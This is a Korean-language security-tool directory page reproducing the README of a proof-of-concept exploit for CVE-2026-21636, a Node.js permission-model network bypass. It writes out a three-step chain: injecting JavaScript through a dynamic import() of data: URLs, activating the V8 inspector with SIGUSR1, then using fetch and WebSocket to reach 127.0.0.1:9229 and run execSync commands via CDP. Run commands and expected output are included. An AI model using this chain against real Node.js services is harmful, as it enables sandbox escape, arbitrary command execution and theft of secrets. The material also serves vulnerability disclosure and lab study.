Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-21636 — Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP. | Kitploit
도구/GitHubGitHub/pauldechassey/cve-2026-21636
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration Testing
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Proof-of-concept demonstrating a Node.js permission model bypass (CVE-2026-21636) that allows network access via undici/fetch to local services, enabling arbitrary code execution through CDP.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-21636 - Node.js 권한 모델 UDS/네트워크 우회

취약점 요약

Node.js 권한 모델(--permission)은 파일시스템, 자식 프로세스, 워커, 네트워크에 대한 접근을 제한하여 프로세스를 샌드박싱하도록 설계되었습니다. CVE-2026-21636은 undici/fetch(및 net/tls)를 통해 Unix 도메인 소켓과 로컬 TCP 주소로 이루어지는 연결이 --allow-net이 없더라도 네트워크 가드를 완전히 우회한다는 것을 밝혀냅니다.

영향: Node.js v25 (공개 시점 기준 네트워크 권한은 여전히 실험적 기능입니다).
이 PoC는 동일한 우회가 관찰되는 v22에서 개념을 재현합니다.

--permission(단, --allow-net 또는 --allow-child-process 없이) 하에서 실행 중인 프로세스에 임의의 JavaScript를 주입할 수 있는 공격자는 다음을 수행할 수 있습니다:

  1. 도달할 수 없어야 하는 권한 있는 로컬 서비스에 연결합니다.
  2. 해당 서비스를 통해 피벗하여 샌드박스 외부에서 임의의 명령을 실행합니다.

환경 아키텍처

supervisord 하에서 컨테이너 내부에 두 개의 프로세스가 나란히 실행됩니다:

프로세스

target.cjs는 시작 시 자신의 PID를 /tmp/target.pid에 기록한 후 무한 루프를 돕니다(유휴 피해자 프로세스). server.mjs는 /pid 엔드포인트와 취약한 /language 엔드포인트를 가진 Express 서버를 :8000에 노출합니다.

/app/secret.txt는 app이 소유합니다(chmod 444). 두 프로세스 모두 OS 수준에서 접근할 수 있습니다. 이 익스플로잇은 파일 권한 장벽에 의존하지 않습니다. --allow-net이 없음에도 불구하고 server.mjs가 fetch()/WebSocket을 통해 127.0.0.1:9229에 도달하고 샌드박스가 적용되지 않은 target.cjs 프로세스 내부에서 임의의 코드를 실행할 수 있음을 입증합니다. CDP를 통해 secret.txt를 읽는 것이 해당 코드 실행의 증거입니다.

참고: 이 PoC가 실제로 입증하는 것

server.mjs는 이미 --allow-fs-read=/로 실행되므로, JS 주입(1단계)만으로 샌드박스 프로세스에서 /app/secret.txt를 직접 읽는 것은 사소하게 가능합니다:

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

파일시스템 읽기는 이 PoC의 핵심이 아닙니다. 목표는 CVE-2026-21636을 입증하는 것입니다: --allow-net이 없음에도 불구하고 fetch()(undici)가 127.0.0.1:9229에 TCP 연결을 설정하여 권한 모델의 네트워크 가드를 완전히 우회할 수 있습니다. 이 익스플로잇은 해당 우회를 사용하여 CDP를 통해 완전히 샌드박스가 적용되지 않은 target.cjs 프로세스로 피벗하고 샌드박스 외부에서 임의의 코드 실행을 달성합니다; 이는 어떤 --allow-fs-read로도 허용되지 않는 것입니다.


진입점 - POST /language

이 섹션은 PoC의 범위를 벗어납니다.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

서버는 사용자 제어 문자열에 대해 **동적 import()**를 수행합니다. Node.js의 import()는 기본적으로 data: URL 스킴을 지원합니다:

root@kitploit:~
data:text/javascript,<퍼센트 인코딩된 JS>

서버가 추가하는 /index.js 접미사는 페이로드 끝에 //를 추가하여 무력화됩니다(URL 주석 / 무시되는 경로 조각으로 처리됨).

이로 인해 샌드박스 프로세스 내부에서 임의의 JavaScript 실행이 가능해집니다 - CVE-2026-21636을 악용하기 위한 진입점입니다.


권한 모델 - 허용되는 것(과 허용되지 않는 것)

서버는 다음으로 시작합니다:

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

의도: 공격자가 server.mjs 내부에서 코드를 실행하더라도 네트워크에 도달하거나, 프로세스를 생성하거나, 인스펙터에 접근할 수 없습니다.

CVE-2026-21636은 --allow-net 경계를 깨뜨립니다.


공격 체인 (3단계)

1단계 - 대상 PID 검색

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs는 시작 시 자신의 PID를 /tmp/target.pid에 기록합니다. 서버가 이를 노출합니다. 이는 CDP 릴레이로 사용될 피해자 프로세스를 식별합니다. 이는 진입점에 JS를 주입하여 수행할 수도 있습니다; 단순화를 위해 /pid 엔드포인트를 만들었습니다.


2단계 - SIGUSR1을 통해 target.cjs에서 V8 인스펙터 활성화

POST /language를 통해 주입된 페이로드(data: URL로):

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Node.js 프로세스가 SIGUSR1을 수신하면 V8/CDP 디버거를 시작(또는 재개)하고 다음에서 수신 대기를 시작합니다:

root@kitploit:~
127.0.0.1:9229

target.cjs는 --permission 없이 실행되므로 해당 인스펙터는 완전히 권한이 있습니다 - require('child_process').execSync(...)를 포함한 모든 표현식을 평가할 수 있습니다.

신호 전송(process.kill)은 권한 모델에 의해 게이트되지 않으므로 이 단계는 샌드박스 내부에서 성공합니다.


3단계 - CDP에 연결하고 명령 실행 (CVE-2026-21636)

POST /language를 통해 주입된 두 번째 페이로드:

root@kitploit:~
// 인스펙터 HTTP API에서 디버깅 가능한 대상 목록 가져오기
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

//그런 다음 target.cjs의 CDP 엔드포인트에 WebSocket 열기
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

--allow-net이 없음에도 이것이 작동하는 이유:

Node.js의 fetch()는 undici에 의해 구현됩니다. CVE-2026-21636은 http://127.0.0.1:...(및 UDS socketPath 옵션)에 대한 undici의 연결 경로가 권한 모델의 네트워크 검사를 거치지 않는다는 것을 보여줍니다. 샌드박스는 아웃바운드 네트워크 접근이 이루어지지 않았다고 믿지만, :9229에 대한 TCP 연결은 성공합니다.

CDP Runtime.evaluate 호출은 샌드박스가 적용되지 않은 target.cjs 프로세스 내부에서 실행되므로 require('child_process')를 사용할 수 있고 execSync가 자유롭게 작동합니다.


전체 익스플로잇 흐름

root@kitploit:~
공격자 (Python 스크립트)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → target.cjs 인스펙터가 :9229에서 시작
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              CVE-2026-21636 우회 지점
                                              (--allow-net 없이 127.0.0.1로 fetch)

사용법

root@kitploit:~
# 환경 빌드 및 시작
docker compose up --build -d

# 익스플로잇 실행
python3 exploit.py

예상 출력:

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

참고 자료

  • NVD - CVE-2026-21636
  • Node.js 권한 모델 문서
  • V8 인스펙터 / CDP 프로토콜
  • undici - Node.js 내장 HTTP 클라이언트
도구 다운로드
사용자
플래그
기능
target.cjsapp없음전체 Node.js API, 샌드박스 없음
server.mjsapp--permission --allow-fs-read=/전체 FS 읽기 — 네트워크 없음, 자식 프로세스 없음, 워커 없음
권한상태
--allow-fs-read=/허용됨 (전체 읽기)
--allow-fs-write거부됨
--allow-net거부됨 (실험적, 설정되지 않음)
--allow-child-process거부됨
--allow-worker거부됨
--allow-inspector거부됨